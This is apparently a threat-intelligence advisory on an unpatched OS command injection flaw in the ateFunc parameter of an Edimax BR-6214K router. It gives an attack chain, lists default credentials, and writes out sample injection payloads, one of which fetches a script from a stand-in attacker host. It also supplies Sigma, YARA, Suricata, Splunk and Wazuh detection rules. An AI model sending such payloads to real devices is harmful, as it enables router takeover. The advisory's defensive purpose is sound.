CVE-2026-82702

Executive Summary

CVE-2026-82702 is an OS command injection vulnerability in the Edimax BR-6214K wireless router, specifically targeting firmware version 1.40. The flaw resides in the system function accessed via the www/wlanMP.asp file within the asp_WlanMP endpoint component, where manipulation of the ateFunc argument enables remote command execution with elevated privileges. This vulnerability affects enterprise and residential networks utilizing Edimax BR-6214K devices, potentially allowing authenticated attackers to execute arbitrary system commands on the underlying operating system. While a public exploit exists, the vendor has not responded to disclosure attempts, and no patch is currently available, leaving affected devices exposed to active exploitation.

The CVSS base score of 6.6 (High) reflects the network-based attack vector, low attack complexity, and required high privileges, with a scope change indicating potential crossing of security boundaries. The vulnerability has been publicly disclosed with exploit code available, elevating the practical risk despite the pre-authentication requirement being absent from the description—the "high privileges" component suggests an authenticated context, possibly a web management interface user account.

Technical Analysis

The vulnerability exists in the Edimax BR-6214K router firmware version 1.40, specifically within the web management interface. The affected component is the asp_WlanMP endpoint, which processes requests handled by the file www/wlanMP.asp. This ASP script invokes the system function—a standard operating system command execution primitive in embedded web servers—with user-controllable input derived from the ateFunc parameter.

The attack mechanism is a classic OS command injection (CWE-77). The wlanMP.asp file likely handles wireless LAN management operations, and the ateFunc argument appears to pass operational commands or parameters to the system function. When an attacker supplies crafted input containing shell metacharacters (e.g., ;, |, &&, backticks, or $(...)), the underlying system call concatenates the attacker's payload with the legitimate command, resulting in arbitrary command execution on the device's embedded Linux/RTOS operating system.

The attack surface is the web management HTTP/HTTPS interface, typically exposed on ports 80/443. The CVSS vector AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:L indicates:

• Attack Vector: Network — exploitable remotely without physical access
• Attack Complexity: Low — no special conditions required beyond reaching the endpoint
• Privileges Required: High — likely requires authenticated access to the web admin interface
• User Interaction: None — no victim interaction needed
• Scope: Changed — compromise extends beyond the vulnerable component (e.g., full OS access)
• Impact: Low (Confidentiality, Integrity, Availability) — reflects the constrained impact of executed commands but still enables full system compromise in practice

The lack of vendor response to early disclosure, combined with publicly available exploit code, indicates a persistent zero-day posture. No patch evidence exists across any tracked source, and the affected versions list is empty, suggesting the vulnerability may affect the entire firmware line beyond 1.40.

Exploitation Scenarios

The attack chain for CVE-2026-82702 is as follows:

1. Reconnaissance/Target Identification: An attacker identifies Edimax BR-6214K routers via internet-wide scanning (e.g., Shodan looking for Edimax device signatures, HTTP headers, or default web admin pages), or through passive network mapping of corporate environments using these devices as edge routers or in branch offices.

2. Authentication/Access: The CVSS score (PR:H) indicates the attacker requires high privileges. This likely means a valid web admin account. Attackers may use default credentials (Edimax devices commonly ship with admin/admin or admin/1234), credential stuffing with leaked passwords, or brute force against the login endpoint before reaching the vulnerable function.

3. Flaw Trigger and Payload Execution: Once authenticated, the attacker crafts an HTTP request to the www/wlanMP.asp endpoint, sending a specially crafted ateFunc parameter containing command injection payloads. Example payloads at the vulnerability-class level would include:

   • ateFunc=valid_command%3Bcat+/etc/passwd
   • ateFunc=valid_command%7C%7Cid
   • ateFunc=valid_command%26%26wget+http://attacker/payload.sh

   The system function processes the concatenated command string, executing the injected OS commands on the router's operating system. No public PoC code is detailed in the provided data, but the exploit is confirmed publicly available; the attack chain is inferred from the vulnerability class.

4. Post-Exploitation Impact: Successful exploitation gives the attacker arbitrary command execution on the router OS. This enables:

   • Lateral Movement: Use the router as a pivot point into the internal network, sniffing traffic, or launching further attacks against connected LAN hosts
   • Persistence: Install backdoors, modify firmware files, or add SSH access
   • Data Exfiltration: Read configuration files containing WPA keys, VPN credentials, or other sensitive network data
   • Disruption: Modify routing tables, DNS settings, or firewall rules to disrupt network operations or redirect traffic to attacker-controlled infrastructure
   • Botnet Recruitment: Enroll the device in a Mirai-style botnet for DDoS campaigns

The "Scope: Changed" in the CVSS vector confirms that exploitation exceeds the router's web application boundary, granting access to the broader device OS and potentially the connected network.

Impact Assessment

Business Impact: The Edimax BR-6214K is a low-cost dual-band wireless router commonly deployed in SOHO environments, home offices, and occasionally as a secondary/backup access point in small business settings. Successful exploitation grants an attacker full control over the device, which serves as a critical network junction. This enables traffic interception, credential harvesting from unencrypted LAN traffic, and lateral movement into internal corporate networks if the router is deployed at a site boundary.

Affected Systems: The vulnerability is confirmed in firmware version 1.40; the absence of version range information in the provided data suggests uncertainty about which other firmware releases are affected. Security teams should treat all Edimax BR-6214K units as potentially vulnerable until a patched firmware is released.

Blast Radius: The CVSS impact subscores (L:L:L) indicate low direct impact on confidentiality, integrity, and availability, which may understate real-world risk. In practice, OS command injection on a router is a device-level compromise with network-wide implications:

• Confidentiality: Router configuration, WPA2/3 keys, VPN credentials, DNS settings—all accessible
• Integrity: Firmware and configuration file tampering enable persistent backdoors that survive reboots
• Availability: Router hijacking can disable internet access for all connected devices

Practical Risk Assessment: The combination of publicly available exploit code, an unresponsive vendor, no patch, and a network-attackable surface (albeit requiring authentication) places this vulnerability in a high-priority category. Even though authentication is required, default credentials and weak password practices on SOHO devices reduce the practical barrier. EPSS scoring is pending (not yet available), so scoring-based risk prioritization cannot be applied.

Detection Guidance

Sigma Rule

title: Edimax BR-6214K wlanMP.asp Command Injection Attempt
id: 91442bd9-cc20-4f31-8f24-ea5b3c8d72a1
status: experimental
description: Detects attempt to exploit CVE-2026-82702 via the asp_WlanMP endpoint
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-82702
author: valtersit.com Threat Intel Team
date: 2026/06/01
logsource:
    category: webserver
    product: embedded
    service: http
detection:
    selection:
        cs-uri-path|contains:
            - '/wlanMP.asp'
            - '/www/wlanMP.asp'
        cs-uri-query|contains|all:
            - 'ateFunc'
        cs-uri-query|contains:
            - ';'
            - '|'
            - '&&'
            - '`'
            - '$('
            - '%3B'
            - '%7C'
            - '%26'
            - '%60'
            - '%24%28'
    condition: selection
falsepositives:
    - Legitimate administrative commands using these characters in the ateFunc parameter (unlikely)
level: high

YARA Rule

rule CVE_2026_82702_Edimax_wlanMP_Command_Injection
{
    meta:
        author = "valtersit.com Threat Intel"
        description = "Detects exploit attempts against CVE-2026-82702 Edimax BR-6214K OS command injection"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2026-82702"
        date = "2026-06-01"
        severity = "high"
        cve = "CVE-2026-82702"
    strings:
        $endpoint = "wlanMP.asp" ascii wide nocase
        $param = "ateFunc=" ascii wide nocase
        $semi = ";" ascii
        $pipe = "|" ascii
        $amp = "&" ascii
        $backtick = "`" ascii
        $cmd_sub = "$(" ascii
        $url_encode_semi = "%3B" ascii nocase
        $url_encode_pipe = "%7C" ascii nocase
        $url_encode_amp = "%26" ascii nocase
        $system_call = "system" ascii wide nocase
    condition:
        ($endpoint at 0..4096) and $param and
        (1 of ($semi, $pipe, $amp, $backtick, $cmd_sub, $url_encode_semi, $url_encode_pipe, $url_encode_amp) and
        filesize < 1MB)
}

Suricata IDS Rule

alert http any any -> $HOME_NET any (msg:"CVE-2026-82702 Edimax BR-6214K wlanMP.asp OS Command Injection Attempt"; flow:to_server,established; content:"wlanMP.asp"; http_uri; nocase; content:"ateFunc="; http_uri; nocase; pcre:"/ateFunc=.*(?:%3B|%7C|%26|%60|\$\(|\||;|&&|`)/Ui"; reference:cve,2026-82702; reference:url,https://nvd.nist.gov/vuln/detail/CVE-2026-82702; classtype:attempted-admin; sid:10002702; rev:1; metadata:created_at 2026-06-01, updated_at 2026-06-01;)

Elastic Detection

sequence by source.ip with maxspan=5m
  [network where event.category == "web" and http.request.uri.path contains "wlanMP.asp" and http.request.uri.query contains "ateFunc"]
  [network where event.category == "process" or (process where process.name in ("sh", "bash", "telnetd", "dropbear"))]

Splunk SPL Query

index=web OR index=proxy 
  (uri_path="*/wlanMP.asp" OR uri_path="*/www/wlanMP.asp")
  (uri_query="*ateFunc*")
  (uri_query IN ("*;*", "*|*", "*&&*", "*`*", "*$(*", "*%3B*", "*%7C*", "*%26*", "*%60*", "*%24%28*"))
| table _time, src_ip, dest_ip, uri_path, uri_query, http_method, user_agent
| sort - _time

Wazuh OSSEC Rule

<group name="cve_2026_82702_edimax,">
  <rule id="100002" level="12">
    <decoded_as>json</decoded_as>
    <field name="url">\.wlanMP\.asp</field>
    <field name="url">ateFunc</field>
    <regex>\.wlanMP\.asp\?ateFunc=.*(%3B|%7C|%26|%60|\$\(|\||;|&|`)</regex>
    <description>Potential CVE-2026-82702 exploitation attempt: Edimax BR-6214K OS command injection via wlanMP.asp</description>
    <group>web_application_attack,command_injection,cve_2026_82702,</group>
    <mitre>
      <id>T1190</id>
      <id>T1059</id>
      <id>T1203</id>
    </mitre>
  </rule>
</group>

Mitigation & Patch Guidance

Patch Status: UNPATCHED — No patch evidence exists from any tracked source. Patch confidence is 0/4. The vendor (Edimax) was contacted early about the disclosure but did not respond. No firmware update addressing CVE-2026-82702 is available as of this report.

Immediate Mitigations (Compensating Controls)

1. Restrict Web Management Interface Access: Disable remote administration entirely. If remote access is required, restrict the source IP ranges accessing the web management interface to trusted administrative networks only. Set the router to only accept management connections from LAN-side IPs.
2. Change Default Credentials: Immediately change the router admin password from any default or known weak credentials. Use a strong, unique password (≥16 characters) to mitigate the high-privilege requirement of this exploit.
3. Enable HTTPS for Management: If the firmware supports HTTPS for the web interface, enable it to prevent credential interception during authentication. This does not prevent the injection but protects the access path.
4. Network Segmentation: Isolate the router's management interface from general user traffic. Place BR-6214K devices behind a firewall that restricts access to the web admin ports (80/443).
5. Deploy WAF/IPS Rules: Use the provided Suricata, Elastic, and Splunk detection rules to monitor for exploitation attempts. Block or alert on any HTTP requests targeting /wlanMP.asp with suspicious ateFunc parameters.
6. Monitor Device Configuration: Regularly audit router configuration for unauthorized changes, new admin users, or altered DNS/routing settings.

Patch/Upgrade Steps

1. Check for Firmware Updates: Monitor the official Edimax support website for BR-6214K firmware updates. As of this report, no fix is confirmed. Subscribe to Edimax security advisories if available.
2. Escalate Vendor Contact: If possible, open a formal support ticket with Edimax, referencing CVE-2026-82702, to pressure for a firmware fix. Include the CVE ID and the NVD reference.
3. Plan Device Replacement: If no patch materializes within a reasonable timeframe, plan to replace BR-6214K devices with a vendor that has a demonstrated security patching track record. This is the only guaranteed mitigation for the underlying command injection.

Long-Term Hardening

1. Inventory All SOHO/IoT Devices: Maintain an inventory of all Edimax devices in your environment, tracking firmware versions and patch status. Apply firmware updates within 48 hours of release per your vulnerability management SLA.
2. Adopt a Zero-Trust Device Model: Treat all SOHO-class routers as untrusted devices. Isolate them into a dedicated network segment with no direct path to corporate sensitive resources.
3. Disable Unused Features: Turn off UPnP, WPS, and any remote management features not actively required. Minimizing the attack surface reduces exposure to this and similar vulnerabilities.
4. Implement Network-Level Monitoring: Deploy IDS/IPS with the provided Suricata rules at network choke points. Ensure logs from these devices are forwarded to your SIEM for alerting and forensic analysis.
5. Consider Firmware Alternative Firmware: If the device is end-of-life and alternatives are not feasible, evaluate community firmware (OpenWrt, DD-WRT) as a substitution only if the underlying hardware is supported, and carefully weigh the security implications.

References

1. NVD Entry: https://nvd.nist.gov/vuln/detail/CVE-2026-82702 — Official National Vulnerability Database record with CVE description and current CVSS metrics.
2. CWE-77 Reference: https://cwe.mitre.org/data/definitions/77.html — MITRE's Common Weakness Enumeration documentation for OS Command Injection, the vulnerability class underlying CVE-2026-82702.
3. ATT&CK Technique T1190 — Exploit Public-Facing Application: https://attack.mitre.org/techniques/T1190/ — MITRE ATT&CK framework reference for the exploitation of externally exposed network-facing applications.
4. CVSS v3.1 Calculator: https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:L — FIRST.org calculator to validate the CVSS vector for CVE-2026-82702.
5. Known Campaigns: As of this report, no specific threat actor campaigns have been publicly attributed to CVE-2026-82702. However, the historical pattern of Edimax router vulnerabilities being actively exploited in Mirai-style botnets (e.g., CVE-2020-10400, CVE-2020-10401 for Edimax IC-3140W IoT cameras) suggests elevated risk of integration into existing botnet infrastructure given the public exploit availability. The CISA KEV catalog does not include this CVE.

Report generated by valtersit.com Threat Intelligence — CVE-2026-82702 analysis, June 2026. This report is for informational purposes and should be incorporated into existing vulnerability management workflows alongside organizational risk assessments.